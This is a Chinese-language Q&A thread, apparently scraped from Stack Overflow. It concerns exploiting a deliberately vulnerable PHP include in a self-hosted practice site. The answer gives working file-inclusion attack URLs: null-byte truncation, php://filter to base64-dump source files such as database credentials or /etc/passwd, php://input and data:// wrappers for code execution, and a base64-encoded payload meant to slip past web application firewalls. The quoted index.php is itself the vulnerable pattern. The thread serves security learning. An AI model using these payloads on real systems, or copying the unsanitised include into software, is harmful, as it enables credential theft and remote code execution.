swi*_*ode 7 php security exploit ssi
我正在尝试利用在VM内部运行的示例网站中的一些Web漏洞(它不在网络上 - 仅用于教育目的).我有一个名为php的文件setupreset.php,其中包含有关用于设置网站的MySQL配置,设置和密码的信息.这与其他php文件(索引,产品,论坛等)位于同一目录中.
这是index.php的代码,供参考:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
Run Code Online (Sandbox Code Playgroud)
主要目标是列出setupresetPHP文件的内容,或以某种方式下载它.如果我导航到这个文件:http://10.211.55.5/index.php?page=setupreset它会被执行,但PHP代码自然不会显示,因为它由PHP解释器解析.
现在,该网站使用PHP include,因此URL如下所示:http://10.211.55.5/index.php?page=products.这似乎是很容易受到远程文件包含,在那里我可以简单地指向另一个PHP页面,如http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php但allow_url_include是off,不能改变,所以这是不行的(这个我试过).但是,allow_url_fopen很可能(因为它默认打开),所以我的问题如下:是否可以上传PHP文件或一些列出setupreset.php使用此类漏洞利用内容的脚本?
Cod*_*ist 32
如果allow_url_include关闭,则无法执行远程代码.但您可以找到其他页面,例如内容管理仪表板,将您的代码上传为"图像",然后找到实际的路径和include它.
并且,仍有一些方法可以利用.
让我们看看你的代码.您可能会注意到它会.php在路径末尾自动添加扩展名.所以你应该删除phpGET参数.但是,如果要包含的文件没有PHP扩展名怎么办?然后%00用来终止字符串,例如
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
Run Code Online (Sandbox Code Playgroud)
PHP中有一个特殊的协议,强大而危险.是的php://.您可以查看官方手册以获取详细信息,在这里我将向您展示一些案例,使文件包含漏洞成为源泄露,甚至是远程代码执行漏洞.
在测试之前,我建议你使用Firefox和HackBar插件.它是一个强大的渗透测试套件.
此功能不需要允许包含URL.
php://filter是一种元包装器,旨在允许在打开时将过滤器应用于流.这对于诸如readfile(),file()和file_get_contents()之类的一体化文件函数很有用,否则在读取内容之前没有机会对流应用过滤器.(参考)
然后,您可以secret.inc.php通过以下请求在同一目录中查看源.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
Run Code Online (Sandbox Code Playgroud)

文件内容将以base64编码,因此它支持二进制文件.
它的强大,以获取敏感信息,如数据库密码或加密密钥!如果特权没有正确配置,它甚至可以跳出笼子并从外部目录中的文件中提取数据,比如/etc/passwd!
实际上你不能利用这种方式,因为allow_url_include在这种情况下是关闭的.
但我必须指出它,因为它是神奇的!
它与本地包含完全不同.它不需要将任何文件上传到远程服务器等.您只需要一个请求即可.
php://input可以访问原始的HTTP请求体,那么该怎么include("php://input")办?只需访问http://localhost/include.php?page=php://input,请求正文中有效的PHP代码,然后您就可以在远程服务器中执行任何(允许的)功能!

不要忘记%00砸.php尾.
此外,PHP支持data://URL方案.你可以直接把代码放在GET参数中!以下测试不需要任何特殊工具,只需普通浏览器即可执行攻击.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Run Code Online (Sandbox Code Playgroud)
一些Web应用程序防火墙可能会检测到URL中的可疑字符串并阻止恶意请求,他们不会phpinfo单独离开.有加密方法吗?当然.data://URL支持至少base64编码...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Run Code Online (Sandbox Code Playgroud)
你会再次熟悉phpinfo!

%00对于PHP> = 5.3.4 ,空字节技巧()不再起作用:http://blog.benjaminwalters.net/? p = 22139